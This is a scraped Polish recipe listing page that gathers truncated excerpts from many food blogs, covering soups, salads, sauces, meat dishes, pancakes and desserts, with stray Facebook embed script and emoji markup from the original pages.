Szybkie ratatouille (ratatuj) z mięsem, serem feta i orzeszkami 178

czytaliśmy, że „blogerzy” nie powinni stosować kostek, tylko wywary z mięsa lub warzyw. Dla nas to głupota, jeżeli potrzebuję 150 ml rosołku, który jest tylko dodatkiem do sosu, nie będę obgotowywać mięsa, czy włoszczyzny. Przygotowanym bulionem z przecierem zalewamy warzywa z mięsem i podgrzewamy do zagotowania. Orzeszki, lub słonecznik prażymy na suchej patelni i dodajemy do naszego dania

KasiaiKrzysiu.pl
Kluski śląskie z gulaszem 200

Gotowe kluski wrzucać do wrzącej, osolonej wody, jak wypłyną na wierzch, gotować jeszcze na wolnym ogniu przez 2 minuty.  Wybierać łyżką cedzakową na talerze.  Podawać polane sosem . (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/pl_PL/all.js#xfbml=1"; fjs.parentNode.insertBefore(js, fjs);}(document, 'script', 'facebook-jssdk

Kuchnia Danusi
Szakszuka 523

minut by puściły sok. Włożyć na patelnię. Paprykę także pokroić w kostkę. Czosnek przecisnąć przez praskę, dołożyć do pomidorów wraz z papryką. Dodać przyprawy: bazylię, sól, pieprz. Sos gotować przez kilka minut, by pomidory lekko rozgotowały się a papryka zmiękła.  Cały czas gotując, zrobić dwa wgłębienia, wbić w nie jaja, posypać je delikatnie solą. Przykryć i gotować tak całość

Poezja Smaków - blog kulinarny
Sos słodko-kwaśny do słoików 219

Pyszny! Sto razy lepszy niż kupny sos słodko-kwaśny - soczyste pomidory, cebula, papryka, marchew, ananasy i kukurydza tworzą smaczne i aromatyczne połączenie, idealne do ryżu czy makaronu - solo lub z kawałkami usmażonego mięska. Wystarczy otworzyć słoiczek i cieszyć się smakiem lata o każdej porze roku :) SKŁADNIKI: (mi wyszło 4 większe słoiki-na zdjęciu obok warzyw i 7 mniejszych-dżemówek

Kto ugości moich gości?
Miruna w panierce szpinakowo- miętowej 226

solą, czarnym pieprzem i sokiem z cytryny. Jeśli lubimy warzywa surowe, cukinię i marchewkę możemy zjeść na świeżo, posypane uprażonymi pestkami dyni Rybę podawać z ryżem i warzywami, polałam sosem chrzanowym, a to dlatego, że świeżego chrzanu jest teraz pod dostatkiem :)  Dodatki warzywne: mała cukinia  2 marchewki uprażone pestki z dyni do smażenia - masło sok z cytryny Jeśli

Proste Potrawy
Gaeng keow wan nua 180

jakieś 10 min. Składniki: 2 łyżki oliwy, 2 ząbki czosnku, 1 łyżka zielonej pasty curry, 225 g wołowiny pociętej w cienkie plastry, 2 czerwone chili, drobno pokrojone, 1 łyżeczka sosu rybnego (w oryginalnym przepisie są 2 łyżki, mi wystarczy jedna), kabaczek pokrojony w plastry lub kostkę, 1 łyżka cukru (ja nie dodałam), 225 ml mleczka kokosowego, liście bazylii (dekoracja

Smaki Przyprawy i Kolory
Curry z mleczkiem kokosowym 113

pozwalamy aby mięso się dusiło w aromacie przypraw. Po około 20 minutach dodajemy pomidory gotujemy chwilę i dodajemy mleko kokosowe. Sprawdzamy mięso, jeśli jest miękkie czas doprawić solą sos.  Dodajemy odrobinę soli do smaku. Podajemy z ryżem

Smaki Przyprawy i Kolory
Grillowane pieczarki 178

kapelusze i w środek wkładamy łyżeczką mieszankę czosnek/chilli/bazylia. Kiedy przejadą aromatem możemy je serwować. Nóżki pieczarek można drobno posiekać wrzucić do rondelka, dodać masło i zrobic z nich sos. Życzę udanego grilla

Smaki Przyprawy i Kolory
Małże - naturalnie 191

czosnku Pieprz Natka pietruszki Plaster cytryny W garnku rozgrzewamy masło. Na to wsypujemy czosnek a następnie małże. Czekamy kilka chwil aż się otworzą. Opruszamy pieprzem I pietruszką. Podajemy z sosem w którym się dusiły I kawałkiem cytryny. Naturalnie I pysznie :-) Smacznego

Smaki Przyprawy i Kolory
Chleb orkiszowo - żytni z kocanką i ostropestem 147

chleb tak pyszny ze sama byłam zaskoczona. Kocanka to ziele które może służyć jako lek ale także jako przyprawa, pachnie jak maggi i jest rewelacyjnym dodatkiem do sałatek, zup, sosów, podbija ich smak. Chleb z jej udziałem jest lekko słonawy i bardzo aromatyczny, dodatek ostropestu powoduje że chleb jest jeszcze lepiej strawny. Polecam serdecznie. Chleb orkiszowo - żytni z kocanką

Moje Małe Czarowanie
Ziemniaczana zapiekanka z kapustą, mięsem i grzybami 221

minut. Odcedzamy, studzimy i kroimy na drobno. Cebulę i pieczarki kroimy w drobną kostkę. Na niewielkiej ilości oleju podsmażamy cebulę, dodajemy pieczarki, przyprawiamy i smażymy do odparowania sosu. Zdejmujemy z patelni. Zdejmujemy osłonki z kiełbasy i razem z mielonym mięsem podsmażamy na patelni do zrumienienia. Mięso również należy doprawić do smaku. Kapustę, mięso i pieczarki mieszamy. Ziemniaki ścieramy w maszynie

Maminek kulinarny
TAGLIATELLE Z KURCZAKIEM NA OSTRO I MANGO 196

Złagodzi również ból gardła i chrypkę. Dziś mam dla Was przepis na pyszny i szybki obiad inspirowany kuchnią orientalną. Połączenie kurczaka marynowanego na ostro ze słodkim mango w maślanym sosie jest fantastycznym pomysłem na romantyczną randkę albo obiad. Dodatek makaronu tagliatelle sprawia, że danie jest niezwykle sycące a świeża kolendra nadaje niezwykłego aromatu Polecam! SKŁADNIKI: ( 2 porcje ) * tagliatelle

Ostra na Słodko
Burak-burger vel burak-kotlet 177

przygotowanej masy formujemy kotleciki/burgery i smażymy. Gotowe! Jeżeli decydujemy się na burgera szykujemy bułę (my zawsze podgrzewamy ją na patelni z dwóch stron, żeby delikatnie się zarumieniła), dodajemy sosy i warzywa i zajadamy się ze smakiem! :) Smacznego! Maugo&Paszko

Bananowe Pole
Dietetyczne mega-roladki schabowe dla Teściowej. Odświętny obiad po cięciu brzucha ;) 243

sprawdzony czosnkowy, to ja chciałam być mądrzejsza i zrobiłam słodko - kwaśny. Niestety coś nie wyszło i szczerze mówiąc był obrzydliwy. Zapasy domowe uratowały sytuację i powstał na szybko wspomniany sos czosnkowy. Takie to były perypetie obiadowe w zeszły weekend. Na szczęście wszystko się udało i chyba wszystkim smakowało. Maksiowi na pewno bo aż się przejadł, co u niego wydawałoby się

Kuchnia po mojemu
Mini tarty francuskie z cukinią i bakłażanem 216

niewielka ilością oleju i doprawiamy przyprawą do warzyw i całość mieszamy. Ciasto rozwijamy, kroimy 6 prostokątów i układamy na brytfance wyłożonej  papierem do pieczenia. Każdy kawałek ciasta smarujemy sosem pomidorowym, dodajemy na wierzch warzywa, kapary i posypujemy startym serem (1/4 zostawiamy).   Pieczemy ok. 15 min w piekarniku rozgrzanym do 220°C. Gorące tarty posypujemy  pozostały serem

Moniki Smakołyki
MÓJ MIESIĄC: trening. Pasja, praca, potrzeba? 234

kawałek nektarynki. 3) Masę przekładamy do foremki (sylikonowej lub wyłożonej papierem do pieczenia) 4) Na górę kładziemy pozostałe truskawki i nektarynkę. 5) Wkładamy do piekarnika na 30 minut. 6) Sos zrobiłam z łyżeczki gorzkiego  kakao i odrobiny wody. SMACZNEGO! CAŁOŚĆ MA: 370 kcal

fitolarun.blogspot.com
CO Z ŻÓŁTKAMI: paluszki 180

oraz przyprawy wymieszaj do jednolitej konsystencji. 2) Rozgrzej piekarnik do 180* 3) Na papierze do pieczenia uformuj paluszki/talarki/precle. 4) Piecz 10-15 minut góra-dół. 5) Podawaj z domowym sosem czosnkowym, ketchupem czy innym dipem. SMACZNEGO

fitolarun.blogspot.com
Makaron z bakłażanem,papryką i cukinią z salsą pomidorową 191

sąsiedniego pokoju. Trzeba było szybko coś wykombinować. Jak się tylko ma chęć i kilka składników ,to zawsze wyjdzie coś pysznego! Składniki -makaron świderki  MALMA -papryka -cukinia baby -sos pomidorowy. Salsa podstawowa  NA TEJ STRONIE -oliwa z oliwek -bazylia -czosnek -bakłażan -parmezan Nastaw wodę na makaron. Międzyczasie rozgrzej oliwę z oliwek na patelni, dodaj czosnek pokrojony w plasterki, cukinię

Z Kuchni Do Kuchni
cukinia faszerowana pomidorem i mozzarellą 229

solą, a następnie cukinie wstawiamy do piekarnika i czekamy, aż ser się zapiecze. Zapieczone cukinie posypujemy natką pietruszki i bazylią. Dobrym dodatkiem do tego dania jest bagietka posmarowana sosem pesto

Miód i pieprz
Szparagi w bekonie i piersi indyka. 231

piekłam gdzieś ok. 1h. Ale najlepiej samemu długą wykałaczką sprawdzać czy szparagi są miękkie. 20min. przed wyjęciem posypać startym serem żółtym.  Tak przygotowane danie można podać z sosem majonezowo czosnkowym tu przepis. Smacznego

W kuchni u Moniki
Kluski śląskie. 268

Kluski śląskie są dobrym dodatkiem do obiadów. Dziś u mnie w domu podałam je z pulpetami w sosie pomidorowym. Składniki: ziemniaki (przygotować tyle ziemniaków ile mniej więcej gotuje się na obiad każdego dnia), mąka ziemniaczana, sól, pieprz. Przygotowanie: Ziemniaki ugotować w osolonej wodzie, Ugotowane przecisnąć przez praskę. W garnku wyrównać powierzchnię, tak by łatwo było podzielić ziemniaki na cztery części

W kuchni u Moniki
Sałatka wiosenna. 248

warstwowo, kolejno: porwana sałata, lekko posolić, kalafior podzielony na mniejsze różyczki, jajka pokrojone w grubszą kostkę, ogórki pokrojone w grubszą kostkę, lekko posolić pomidory pokrojone w grubrzą kostkę, polać sosem majonezowo śmietanowym (śmietanę wymieszaną z kilkoma łyżkami majonezu), na koniec dodać drobno pokrojony szczypiorek. Smacznego

W kuchni u Moniki
Zupa kalafiorowa. 190

Składniki: kość schabowa, kilka ziemniaków, kalafior, 2xmarchew,  por, korzeń pietruszki, natka pietruszki, śmietana 30% do zup i sosów, sól, pieprz, ewentualnie vegeta( jarzynka). Przygotowanie: Kość od schabu zalać wodą, dodać obraną i umytą marchew, por, pietruszkę i pokrojone w kostkę ziemniaki. Doprawić solą i pieprzem, ewentualnie vegetą (jarzynką). Gotować na mniejszym ogniu. Po kilkunastu minutach dodać podzielony na różyczki

W kuchni u Moniki
Placki ziemniaczane z gulaszem. 241

potrzeby doprawienia do smaku. Gdy mięso jest miękkie, przygotować zawiesinę. Pół szklanki zimnej wody wymieszać z mąką i powoli wlewać do mięsa, cały czas mieszając. Gdy sos jest gęsty nie wlewać więcej zawiesiny. Zagotować. Placki ziemniaczane: Ziemniaki obrać, umyć i zetrzeć. Cebule obrać i zetrzeć.  Wymieszać z jajkami i mąką. Posolić i popieprzyć. Smażyć na gorącym tłuszczu

W kuchni u Moniki
Ozory w galarecie. 259

Składniki: kilka ozorów - ja miałam 1.6kg, ale dwa zużyłam na ozory w sosie majonezowo czosnkowym, puszka zielonego groszku, 3 jajka, kilka listków zielonej pietruszki, włoszczyzna, kostka wołowa, żelatyna - ilość zależy od ilości ugotowanego bulionu. Przygotowanie:     Ozory ugotować - 1h30min. Obrać i pozbyć się ślinianki. Pokroić w paski. Ugotować bulion z włoszczyzny razem z kostką wołową. Ugotowany bulion przelać

W kuchni u Moniki
Kopytka. 272

cebulę pokrojoną w kostkę. Kopytka wyciągać łyżką cedzakową. Dodać do nich cebulę z tłuszczem i delikatnie zamieszać. Posmarowane tłuszczem nie będą się sklejać. Jeżeli kopytka będą podawane z sosem, nie ma potrzeby dodawać do nich podsmażonej cebuli. Smacznego

W kuchni u Moniki
Zupa pieczarkowa. 208

marchwie, 1 pietruszka, 8 ziemniaków - 760g już obranych, kawałek pora - 80g, 3 ziarenka ziela angielskiego, 2 listki laurowe, sól, pieprz, kostka rosołowa (niekoniecznie), magii (niekoniecznie), śmietana do zup i sosów, garść posiekanej natki pietruszki. Przygotowanie: Pieczarki umyć i pokroić. Gotować je w małym garnku z łyżką masła, odrobiną soli i 250ml wody (szklanka). Porcje rosołowe, udka lub skrzydełka opłukać

W kuchni u Moniki
Sałatka wiosenna (przepis 2) 541

Sałatka wiosenna, którą uwielbiam. Tym razem lekko wzbogacona innymi warzywami oraz z sosem delikatnie czosnkowym. Składniki: (wybierając duże warzywa wyjdzie bardzo duży półmisek sałatki) 3 marchwie, 1 pietruszka, 8 jaj, kalafior, sałata, świeży ogórek, 3 pomidory, pęczek szczypioru, liść pora, 3 ząbki czosnku, sól, pieprz, 2 ziarenka ziela angielskiego, liść laurowy, 4 łyżki majonezu, 280ml śmietany 18% słodkiej. Przygotowanie: Marchew

W kuchni u Moniki
Łopatka w sosie. 238

podsmażyć aż dość mocno się zarumieni. Gdy jedna strona już jest gotowa, przewrócić na drugą i w tym momencie dodać cebulę. Czym mocniej będzie zarumienione mięso tym ciemniejszy będzie sos. Podlać wodą. Po chwili spróbować na smak wodę i ocenić czy jeszcze dosolić, dodać pieprzu czy też  kostkę bulionu wołowego. Dodać paprykę czerwoną słodką i ostrą (z ostrą uważać

W kuchni u Moniki
Szynka w sosie. 242

razem mięso w sosie zrobiła moja mama. Spoglądam na niego i wcale nie jestem zdziwiona tym, że robimy podobnie - w końcu tyle lat mieszkałyśmy razem, że smaki mamy prawie identyczne. Wiadomo, mama bardziej wprawiona w boju, jaki odbywa się w kuchni :)  Składniki: 4 grubsze plastry szynki wieprzowej, sól, pieprz, papryka słodka, 2 kostki suszonej cebulki, vegeta (niekoniecznie), mąka, cebula

W kuchni u Moniki
Ciasto francuskie z farszem. 220

każdy może do farszu dodać swoje ulubione składniki i z pewnością będzie smaczne. Można jeść bez żadnych dodatków, lecz tak jak to moja mama mówi, najlepiej smakuje z sosem majonezowo czosnkowym. Czyli kolejny smak, który obie uwielbiamy :) Składniki: 1 cienka kiełbasa, 1 cebula, groszek konserwowy, kilka plasterków salami, kilka pieczarek, ketchup, sól, pieprz, 2 gotowe ciasta francuskie, 2 pomidory

W kuchni u Moniki
Placki ziemniaczane z gulaszem (przepis 2) 331

popieprzone. Podsmażone dodać do mięsa razem z pokrojoną w paski papryką. Dusić do momentu aż wołowina i papryka będą miękkie. Wycisnąć lub posiekać trzy ząbki czosnku i dodać do sosu. W połowie szklanki zimnej wody rozrobić mąkę. Zawiesinę dodawać powoli, cały czas mieszając. Zagotować i zdjąć z ognia, ewentualnie doprawić jeszcze do smaku.  Placki ziemniaczane podawać razem z gulaszem

W kuchni u Moniki
Roladki schabowe w sosie grzybowym. 301

rozgrzanym tłuszczu, na niewielkim ogniu. Cebulę pokroić w kostkę, podsmażyć razem z mięsem. Przełożyć do głębszego naczynia, zalać wodą, dodać grzyby, doprawić i gotować na małym ogniu ok.35-40min. Gdy sos będzie zbyt rzadki zrobić zawiesinę i zagęścić.       Przepis nadesłała moja mama :) Smacznego

W kuchni u Moniki
Pieczeń z mięsa mielonego z jajkiem. 241

jajka. Uformować na kształt rolady, tak by jajka były dobrze przykryte i zawinąć w papier do pieczenia.  Piec w rozgrzanym piekarniku 180stopni przez ok.1h. Peczeń można podawać z sosem do obiadu jak również nadaje na kanapki.  Smacznego

W kuchni u Moniki
Zrazy z brokułem. 283

Składniki: 500g polędwiczek wieprzowych, cebula (jedna do środka zrazów i jedna do sosu), ogórek kiszony (dwa, trzy), kawałek sera żółtego, sól, pieprz, serek topiony, 2 ząbki czosnku, brokuł - kilka różyczek. Przygotowanie:     Mięso pokroić na plastry i rozbić. Posolić i popieprzyć. Na każdy plaster mięsa położyć po kawałku cebuli, sera, brokuła i ogórka.  Dobrze zawinąć

W kuchni u Moniki
Placuszki na serkach homogenizowanych. 241

był o smaku bananowym), 1 jajo, 90 g mąki ( 1/2 szklanki), 1/2 łyżeczki proszku do pieczenia, 2 łyżki mleka ( w zależności jak gęste jest ciasto, ja musiałam dodać). Ponadto: sos do polania placuszków, ja użyłam złocisty syrop ( golden syrup ). Przygotowanie:  Przygotować odmierzone składniki. Wszystkie składniki dobrze razem wymieszać .  Na rozgrzaną patelnię nakładać ciasto ( dwie łyżki na jeden placek

W kuchni u Moniki
Klopsiki w sosie pomidorowym z czerwoną soczewicą / Mięso 244

lopsiki w sosie pomidorowym z czerwoną soczewicą, z dodatkiem pieczarek oraz świeżą zieloną pietruszką. Danie bardzo smaczne i sycące. Polecam wszystkim na najbliższy obiad :) Składniki: 600g mięsa mielonego, 3 cebule, 300g pieczarek, 3-4 łyżki masła, 200g koncentratu pomidorowego Pudliszki, świeża zielona pietruszka ( 2-3 garście), 65g czerwonej soczewicy, jajko, 2 łyżki bułki tartej + do obtoczenia, łyżka musztardy

W kuchni u Moniki
Sałatka z tuńczykiem 477

ugotowane na twardo, starte natarce jarzynowej, na dużych oczkach, 100g ryżu, ugotowanego w osolonej wodzie. odsączonego, ostudzonego, 250g rzodkiewki, startej na tarce, na dużych oczkach, 2 puszki tuńczyka w sosie własnym (2x185g), odsączonego (po odsączeniu 2x130g), puszka kukurydzy, odsączonej, majonez ( ilość według własnego smaku), pęczek szczypiorku, pokrojonego, 85g startego sera żółtego, sól, pieprz. Przygotowanie: Wszystkie składniki razem wymieszać. Dodać sól

W kuchni u Moniki
Zapiekane muszle makaronowe z farszem. 220

makaronowych muszli nałożyć wcześniej przygotowany szpinak. Pozostałą część makaronu napełnić wcześniej przygotowanym farszem. Majonez wymieszać z przecierem pomidorowym i zalać muszle z farszem. Postarać się by makaron był dokładnie sosem przykryty - inaczej pod wpływem gorąca makaron będzie twardy. Piec w rozgrzanym piekarniku w 180 stopniach C przez 20min. pod przykryciem. Następnie posypać resztą startego sera żółtego i zapiekać jeszcze 10minut

W kuchni u Moniki
Schab w sosie musztardowo koperkowym 305

podsmażyć do zarumienienia. Następnie mięso przełożyć do głębszej patelni i zalać wodą. Przykryć pokrywką i dusić ok.,30min. na niewielkim ogniu. Po tym czasie dodać musztardę, zamieszać i spróbować sos. W razie potrzeby dosolić i dopieprzyć. Przykryć i dusić do momentu aż mięso będzie miękkie. Od czasu do czasu zamieszać od spodu drewnianą łopatką. Gdy mięso jest już miękkie dodać

W kuchni u Moniki
Sałatka z grillowanego bakłażana 171

wystygnięcia, a następnie kroimy na dużą kostkę. Przekładamy do miseczki, do której dokładamy pokrojony na dużą kostkę twaróg, natkę pietruszki, sezam oraz uprażone i posiekane orzechy.  Przygotowujemy sos z jogurtu greckiego. Doprawiamy go wyciśniętym przez praskę czosnkiem, sokiem z cytryny oraz solą i pieprzem. Podajemy na zimno

Przysmaki Karolki
Wolowina QMP, ostatnia warsztatowa przygoda 238

sałatką z musztardowca Bulion estragonowo-wołowy z oliwą ziołową  Tacos z rwaną wołowiną, salsą pomidorową i guacamole kolejne spotkanie pod ścianą :) Stek z antrykotu, puree ziemniaczane, portobello, szpinak, sos holenderski z miso  Bekon burger truflowy z jajkiem przepiórczym lody... idealnie kończyły mięsne obżarstwo :) zdjęcie z MISZCZYNIĄ, takie zaległe z finału :) W ramach pożegnalnego prezentu otrzymaliśmy "Wielką Księgę Wołowiny

Dzieje kuchennej Wiewióry
Smażona cukinia z ziemniakami 238

idealnie zgrywają się z każdym daniem mięsnym . Można ja zaserwować zamiast ziemniaków z wody , zawsze jest to ciekawsze rozwiązanie lub podać sama , tak jak ja zrobiłam w towarzystwie sosu z ogórków i jogurtu . Pyszne , proste i bardzo szybkie " class="wp-smiley" style="height: 1em; max-height: 1em;" /> W sam raz na zabiegany początek roku szkolnego " class="wp-smiley" style="height

Ogrodnik w podróży
Tortilla pszenno-żytnia 206

tłuszczu- na mocno rozgrzanej patelni. Usmażone najlepiej kłaść jeden na drugim, a ostatni docisnąć drugim talerzem, żeby troszkę zmiękły. Będą się lepiej zwijały. Na każdy placek dajemy sałatę, polewamy sosem czosnkowym i nakładamy farsz mięsno- warzywny. Zwiniętą tortillę zabezpieczamy otaczając ją paseczkiem pora. Jest to doskonała propozycja na lekką przekąskę zwłaszcza dla osób na diecie. Nie zawiera zbędnych tłuszczów. Smacznego

Kuchnia w czekoladzie
Tarta mięsno pieczarkowa 197

Dodajemy mięso i przyprawiamy. Smażymy. Na przyrumienioną tartę wykładamy farsz oraz krążki cebuli, paprykę i pomidorki koktajlowe. 3. Serek topiony, jajko i jogurt miksujemy. Doprawiamy solą i pieprzem. Przygotowanym sosem polewamy tartę, wierzch posypujemy serem i wstawiamy ponownie do piekarnika na ok 40 minut w temp. 190st C (grzałka dolna), pod koniec zmieniamy na grzałkę górną i dolną i pieczemy

Kuchnia w czekoladzie
Domowe pity 164

drożdży świeżych 3 szklanki mąki 3 łyżki oliwy 1 łyżeczka cukru 1 łyżeczka soli 0.5szklanki wody przegotowanej letniej 0.5 szklanki letniego mleka 2 jajka sezam Dodatki do kebaba: sos czosnkowy, sałata, kurczak, pomidor, ogórek Sposób przygotowania: Drożdże i cukier rozpuszczamy w wodzie. Odstawiamy do wyrośnięcia. Mąkę przesiewamy, dodajemy oliwę, sól, jajko + białko, mleko i rozczyn. Pozostawiamy do wyrośnięcia

Kuchnia w czekoladzie
Słodkie spaghetti 210

Resztę masła topimy razem z cukrem, dodajemy otartą skórkę z połowy pomarańczy, sok oraz posiekane orzechy i rodzynki. Całość cały czas mieszamy aż do momentu zagęszczenia się sosu. Mieszamy z marchewką i podajemy na ciepło

Kuchnia w czekoladzie
Krem pomarańczowo- miętowy 207

budyń oraz wsypujemy galaretkę. Mieszamy, a następnie przelewamy do gotującego się soku, skąd wcześniej wyjmujemy miętę. Dodajemy pokrojoną na mniejsze kawałki margarynę oraz białą czekoladę. Mieszamy do momentu zgęstnienia sosu. Gotowy krem zostawiamy do lekkiego przestudzenia i wykorzystujemy do naszych ciast i tortów.  Już jutro jeden z pomysłów na jego wykorzystanie

Kuchnia w czekoladzie
Drożdżowe bułeczki na ciepło 158

Pulchne, delikatne i z farszem w środku. Stanowią doskonałą przekąskę, a z dodatkiem sosu czosnkowego wywołają prawdziwy zachwyt na twarzach Domowników i Gości. Składniki: Na ok. 35 sztuk Ciasto: 5 szklanek mąki + ok 1 szklanka do podsypywania 2 szklanki mleka 10 dkg drożdży świeżych 1/2 szklanki oleju 4 łyżki cukru kryształu 1/2 płaskiej łyżeczki soli Farsz: 2 średniej wielkości piersi

Kuchnia w czekoladzie
Hreczanyki- podkarpackie kotlety z kaszą gryczaną 192

jajko, posiekaną cebulę i czosnek. Całość doprawiamy solą i pieprzem. Z masy porcjujemy 10 kotletów, każdy obtaczamy w bułce tartej i smażymy na oleju. Tradycyjne hreczanyki podaje się z sosami: czosnkowym, grzybowym lub pomidorowym. Ja podałam je w towarzystwie gotowanej kapusty z grzybami i ziemniaczków. Efekt końcowy

Kuchnia w czekoladzie
Zapiekane naleśniki warzywne z kiełbasą 235

pół plasterki por, kapustę pokrojoną w kostkę, pieczarki i kiełbasę. Dodajemy również przyprawy- wg własnego smaku i nadal dusimy.  4. Gdy jarzyny będą już miękkie dodajemy wymieszany sos: Blendujemy koncentrat pomidorowy, śmietanę, jajko, mąkę oraz serek topiony. Wlewamy do jarzyn, mieszamy aż do zagotowania i odstawiamy do przestudzenia. 5. Farsz nakładamy na naleśniki. Zwijamy w trójkąty. Połowę sera żółtego

Kuchnia w czekoladzie
Suflet czekoladowy z wiśnią i chili 156

smażymy na dużym ogniu ciągle mieszając, aż do wyparowania soku. Dodajemy syrop trzcinowy i szczyptę chili, studzimy.  7. Gotowe suflety wykładamy na talerz lub podajemy w kokilkach polane sosem wiśniowym

Kuchnia w czekoladzie
Meksykańska zupa z cieciorką 212

patelni. Przecier pomidorowy rozrabiamy z odrobiną wywaru z zupy, dodajemy przeciśnięty przez praskę czosnek, pieprz, sól, magę, chili oraz mąkę. Wszystko dokładnie mieszamy mątewką. Możemy użyć także blendera. Sos przelewamy do garnka z całą zawartością, dokładnie mieszamy i doprawiamy do smaku. Tortille smażymy na rumiany kolor, kroimy w paseczki i wrzucamy do naszej zupy- gulaszu. Smacznego

Kuchnia w czekoladzie
Pizza- ciasto na pizzę bez mleka 254

nagrzanego do 200st C piekarnika na ok 10 minut, po czym wyciągamy posypujemy startą na grubych oczkach mozzarellą i zapiekamy jeszcze 5 minut.   Pizzę podajemy z ulubionymi sosami. Możemy także skomponować własne dodatki

Kuchnia w czekoladzie
Lody o smaku kiwi z nutką mięty 134

uzyskania odpowiedniej konsystencji. Przekładamy do waflowych pucharków, dekorujemy listkami mięty.   Gotowe lody, zarówno dosłodzone cukrem pudrem, jak i te bardziej kwaskowe będą dobrze smakowały z sosem czekoladowym

Kuchnia w czekoladzie
Burger wołowy z ryżem brązowym 171

przecinamy na dwie części, jedną smarujemy masełkiem czosnkowym i razem z pozostałymi delikatnie nagrzewamy w piekarniku (ok 5 minut w 200st). Następnie układamy dodatki, dodajemy ugrillowane burgery i polewamy sosami.  Smacznego! Ps. U mnie dziś powtórka, tak Mężowi posmakowały

Kuchnia w czekoladzie
Naleśniki z warzywami 432

żółtej fasolki szparagowej 2 czerwone papryki 2 żółte papryki 1 cebula 10 pieczarek 2 małe piersi z kurczaka (opcjonalnie) sól, pieprz do smaku 2 łyżki oleju Dodatkowo: 10 łyżeczek sosu ajvar (paprykowo-bakłażanowy) 20 dkg sera żółtego w kawałku Sposób przygotowania: Składniki na ciasto miksujemy ze sobą. Odstawiamy na ok 15 minut, po czym smażymy cienkie naleśniki. Fasolkę gotujemy

Kuchnia w czekoladzie
leniwa salatka 352

miski, dokładamy  do nich pokrojone w kostkę jajka, i całość mieszamy. W niewielkiej misie mieszamy jogurt, majonez,  posiekamy drobno szczypiorek, sól oraz pieprz.  Następnie przelewamy wymieszany sos na warzywa układając na górze pomidorki koktajlowe. Sałatkę odstawiamy na dwie  godziny w chłodne miejsce a następnie podajemy na stół w misie, pozwalając aby każdy sam nakładając mieszał swoją

Miód i pieprz
Boczniaki w sosie paprykowym 266

bardzo mnie cieszy, bo lubię ich smak. Pamiętam jak moja mama, w starej piwnicy, trzymała worek, z którego wystawały grzyby, a to boczniaki właśnie były :) Przygotowane z intensywnym sosem paprykowym mogą być dodatkiem do mięsnego obiadu lub skonsumowane z pieczywem. SKŁADNIKI: 3 ząbki czosnku 2 cebule 300g boczniaków 1 papryka 2 łyżki koncentratu pomidorowego 1 liść laurowy 2 ziela angielskie

https:KKuchniaMniam
Pieczony kurczak z masłem czosnkowym 224

żaroodpornym, do którego wlewamy 250 ml wody. Kurczak powinien się piec od 1,5h do 2h . Ja co 30 min zaglądam do niego i oblewam powstałym na dnie naczynia sosem. Prawda, że wygląda przepięknie

Kolejny blog o gotowaniu
Fondant - czekoladowy wulkan 208

wyłożyłam papierem do pieczenia. Kokilki do zapiekania nasmarowałam masłem i obsypałam kakao. Włożyć na 12 min do nagrzanego na 200*C piekarnika. Podawać gorące, z gałką lodów lub z sosem malinowym. W środku powinna być płynna czekoladowa masa :) Część upieczonych fondantów można zamrozić i odgrzewać je w dowolnym momencie w 180*C przez 10 minut. Do kilku fondantów włożyłam dodatkowo

Jemy Pijemy
Tradycyjna Sałatka Grecka 274

Produkty Potrzebne; - sałata lodowa lub pekińska- pół główki - feta- 1/2 opakowania - ogórek- 1/2 sztuki - pomidor- 1 sztuka - papryka- 20dag - cebula czerwona- 1 sztuka - oliwki czarne- 8 sztuk - sos Vinegret- do smaku( przepis   tutaj ) - zioła prowansaldzkie- do posypania fety Sposób Przygotowania; Kroimy wszystki warzywa w kostkę, fetę w kostkę( posypujemy ziołami), oliwki łamiemy rękami w pół, cebulę w paseczki

pichciszto
Razowe spaghetti z sosem serowo-brokułowym i szynką 171

poszukiwań. Nie chcę zapeszać, ale chyba w końcu znalazłam pracę idealną. Wszystko okaże się pod koniec tygodnia.  A póki co mam dla Was makaron z prostym w przygotowaniu sosem. Pyszne i sycące danie dla osób, które nie mają czasu siedzieć w kuchni. Dla tych, którzy (tak jak ja) cały tydzień spędzili żywiąc się jogurtami i zbożowymi batonikami, przeplatanymi czasem

W poszukiwaniu inspiracji
Makaron w sosie brokułowym z kurczakiem 146

pokroić w kostkę i usmażyć złociście na oleju, w między czasie podlewając winem. Mięso wyjąć a do tego wywaru wlać śmietanę i smażyć do gęstości. Włożyć ponownie mięso do sosu wraz z brokułem, wymieszać i nałożyć na ugotowany wcześniej makaron i podawać

Tradycyjna Kuchnia
Sałatka ze szpinakiem, gruszką, śliwkami i jajkiem! 245

zdjęciu.  Na maśle i oliwie z oliwek smażymy śliwki. Pod koniec jak się już rozpruszą dodajemy migdały. smażymy jeszcze 1 minutkę. Podlewamy octem włoskim morelowym. I polewamy gorącym sosem sałatkę.  Podajemy od razu! Smacznego

SMYKWKUCHNI
Tarta porowa z boczkiem 243

wykładamy na nie nasz por z boczkiem.  Całość zalewamy równomiernie masą jajeczną.  Wstawiamy do piekarnika na 25 minut.  Tarta świetnie smakuje z sałata skropiona sosem winegret.  To danie ma tę zaletę, że jest równie smaczne (lub nawet bardziej) następnego dnia.  Łatwo je zabrać np. do pracy na drugie śniadanie.  Smacznego głodomorki

Smakuj życie!
(Nie)banalne naleśniki 2231

robią się gorzkie Suszony majeranek Mielimy w blenderze do ulubionej konsystencji. Ja staram się nie mielić zbyt drobno. Pakujemy w sakiewki. Podajemy lekko podsmażone. Wegetariańskie są pyszne z sosem chilli – takim jak do sajgonek. Mięsne wolę z ketchupem. Moim absolutnym faworytem jest hit mojego dzieciństwa – Słodka Ania! Nie znam lepszego. Źródło: K&M Delikatesy   Artykuł

Patchwork
Domowa, ostra pasta paprykowa typu sambal oelek 229

Długo kombinowałam jak zrobić tą pastę i jest udało się. Pasta jest słodkawa, pikantna, idealna do sosów, mięs, pizzy i tym podobnych rzeczy. Polecam wszystkim wielbicielom kapsaicyny. Domowa, ostra pasta paprykowa typu sambal oelek. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Makaron ryżowy z warzywami, tofu i ananasem 172

Tofu kroimy w kostkę. Dodajemy do warzyw. Zdejmujemy skórki z pomidorów. Pomidory kroimy w kostkę i dodajemy do reszty składników. Teraz czekamy aż pomidory się rozpuszczą i zamienią w sos. W trakcie duszenia dodajemy sól, pieprz oraz chili. Makaron przygotowujemy według instrukcji na opakowaniu

Weganka gotuje
